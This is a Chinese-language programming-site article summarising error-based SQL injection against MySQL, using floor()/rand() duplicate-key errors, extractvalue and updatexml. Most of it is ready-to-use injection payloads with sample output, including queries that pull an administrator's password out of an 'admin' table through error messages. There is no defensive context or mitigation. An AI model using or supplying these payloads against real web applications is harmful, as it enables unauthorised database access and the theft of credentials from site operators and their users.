欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  网络运营

mysql 注入报错利用方法总结

程序员文章站 2022-06-28 14:13:19
mysql 注入报错利用方法总结这篇文章主要介绍了mysql 注入报错利用方法总结的相关资料,需要的朋友可以参考下... 16-10-08...

1、通过floor报错

可以通过如下一些利用代码

and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

and (select count(*) from (select 1 union select null union select !1)x group by concat((select table_name from information_schema.tables limit 1),floor(rand(0)*2)));

举例如下:

首先进行正常查询:

mysql> select * from article where id = 1;

+—-+——-+———+

| id | title | content |

+—-+——-+———+

| 1 | test | do it |

+—-+——-+———+

假如id输入存在注入的话,可以通过如下语句进行报错。

mysql> select * from article where id = 1 and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

error 1062 (23000): duplicate entry ‘5.1.33-community-log1’ for key ‘group_key’

可以看到成功爆出了mysql的版本,如果需要查询其他数据,可以通过修改version()所在位置语句进行查询。

例如我们需要查询管理员用户名和密码:

method1:

mysql> select * from article where id = 1 and (select 1 from (select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x from information_schema.tables group by x)a);

error 1062 (23000): duplicate entry ‘admin8881’ for key ‘group_key’

method2:

mysql> select * from article where id = 1 and (select count(*) from (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),floor(rand(0)*2)));

error 1062 (23000): duplicate entry ‘admin8881’ for key ‘group_key’

2、extractvalue

测试语句如下

and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

实际测试过程

mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));–

error 1105 (hy000): xpath syntax error: ‘\admin888’

3、updatexml

测试语句

and 1=(updatexml(1,concat(0x3a,(select user())),1))

实际测试过程

mysql> select * from article where id = 1 and 1=(updatexml(0x3a,concat(1,(select user())),1))error 1105 (hy000): xpath syntax error: ‘:root@localhost’

相关标签: MySQL 注入